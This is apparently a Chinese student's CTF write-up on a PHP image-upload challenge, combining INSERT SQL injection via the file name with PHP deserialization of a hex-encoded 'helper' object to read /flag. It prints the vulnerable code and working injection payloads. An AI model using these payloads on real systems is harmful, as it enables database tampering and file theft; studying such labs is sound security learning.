目录:
参考:初末
代码贴最后了,本地在D:\phpStudy\PHPTutorial\CTF的PHP反序列化源码学习!!!
里面,没事分析分析代码也不错,
二、不足&&学到的:
-
sql注入点的寻找,
-
可能mysql数据库传入16进制数据时,不用单引号括起来???这个长个记性
-
代码分析能力,我是真的差劲,,
三、学习:自己看着源码+WP复现
这的16进制,,应该不是代码的问题,而是burp的问题,
双引号就碰撞了,所以采用16进制来绕过双引号的。
2.复现数据库部分
这周写了个上传下载文件的网站后,再做这种 文件上传相关的题目时就轻松多了,,至少代码是干什么的能看明白了,
其实数据库的键值是什么也看了有一会儿才看出来,然后才在本地复现的。
create database pic_base
create table images(
title varchar(100),
filename varchar(100),
ext varchar(100),
path varchar(200),
attr varchar(400),
id int primary key auto_increment
);
复现成功,
insert into images
(title,filename,ext,path,attr)
values
("1","a","v","d","wqer");
插入的时候是16进制的代码,那么在反序列化的时候,又怎么能够成功饿呢??
3.寻找注入点(解题思路:)
上面三个代码片段就是一个图片传入之后,所要走的基本流程,也是漏斗的发生所在。
总的来说就是,
1.图片传上之后,check函数并未对文件名(title)进行检测, 直接传递到最后的SQL语句当中。导致
了SQL注入,并且属于Insert注入。
2.图片数据在保存的时候,会将图片的高度和宽度进行序列化然后保存。
3.在查看图片信息的页面(show.php)会对其进行反序列化。
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);# strrchr 是 找最后一个比如.jpg然后substr获得jpg
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename); # 将后缀去掉
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
# title 是name去掉后缀的东西;ext 是文件后缀,path默认pic目录下的md5值+后缀,
}
check函数中,只有title是被处理的,所以就从title这个地方进行sql注入,
1.闭合sql的蜜汁操作, ,,
inset插入语句执行如下:
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图
我们可控的857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
这里还是现在本地实验,注意,要将后面的闭合之后再操作,
VALUES('1','1','1','1','0x序列化字符串'),('TIM截图
我们可控的857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
进行闭合,
1','1','1','1','0x序列化字符串'),('
1','1','1','1','0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d'),('s.jpg
2.小结思路:
修改文件名,将后面的闭合或者注释掉
在传入文件名的时候,注意,因为对象中的属性是protected,是chr(0)*chr(0)
不可见字符的样子,所以本题在存入数据库的时候,先转化成了\0\0\0
的样式,然后取出来的时候在进行转换,
而且他只对 attr进行了序列化和反序列化,title没有序列化,但取出来的时候要进行反序列化,所以我们传入的attr那个位置的数据要是 序列化之后的并且是\0\0\0
样式的才能够反序列化成功,执行destruct函数,带出flag来。
并且要记住,闭合,注释好sql语句。
4. 实操演练:
1.出bug了,单引号的问题,
O:6:"helper":2:{
s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag.php";}
4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','1','1','1','0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d'),(""
就是上传文件的时候,修改一下文件title也就是文件名,
不出flag什么意思啊,
后来看WP,是单引号的问题,我有单引号就不出flag。
没有单引号就出了,
其实之所以用 16进制绕过,就是因为引号的问题,不能够使用引号,,,至于代码中那里过滤了单引号,我没有找到啊。。
2.解决单引号的bug
最终我在本地中找到了差别,,
最后一个是我去掉单引号之后的东西,就能够看到我们插入成功了,但是上面几个没有进行16进制解码的,就是我带着单引号传入的情形,
这里本地倒数第四个也能出flag的。
就出了,